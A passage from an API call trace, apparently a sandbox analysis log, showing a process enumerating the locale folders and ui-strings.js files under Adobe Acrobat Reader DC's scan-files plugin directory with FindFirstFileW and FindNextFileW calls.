| out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0261.997] GetProcessHeap () returned 0xc10000 [0261.997] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.998] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.998] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.998] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.998] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.999] GetProcessHeap () returned 0xc10000 [0261.999] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.999] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0261.999] GetProcessHeap () returned 0xc10000 [0261.999] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.999] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0262.000] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.000] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.000] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.000] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0262.000] GetProcessHeap () returned 0xc10000 [0262.000] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.000] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0262.000] GetProcessHeap () returned 0xc10000 [0262.000] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0262.001] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.001] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.001] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.001] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0262.001] GetProcessHeap () returned 0xc10000 [0262.001] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.002] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0262.002] GetProcessHeap () returned 0xc10000 [0262.002] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.002] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0262.004] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.004] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.004] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.004] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0262.007] GetProcessHeap () returned 0xc10000 [0262.007] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.007] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0262.007] GetProcessHeap () returned 0xc10000 [0262.007] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0262.008] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.008] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.008] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.008] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0262.009] GetProcessHeap () returned 0xc10000 [0262.009] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.009] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0262.009] GetProcessHeap () returned 0xc10000 [0262.009] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0262.009] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.010] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0262.010] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0262.010] GetProcessHeap () returned 0xc10000 [0262.010] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.010] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0262.010] GetProcessHeap () returned 0xc10000 [0262.010] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.011] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.011] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.012] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.012] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.012] GetProcessHeap () returned 0xc10000 [0262.012] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.012] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0262.012] GetProcessHeap () returned 0xc10000 [0262.012] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.012] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0262.013] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.013] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.013] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.013] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0262.013] GetProcessHeap () returned 0xc10000 [0262.013] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.013] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, 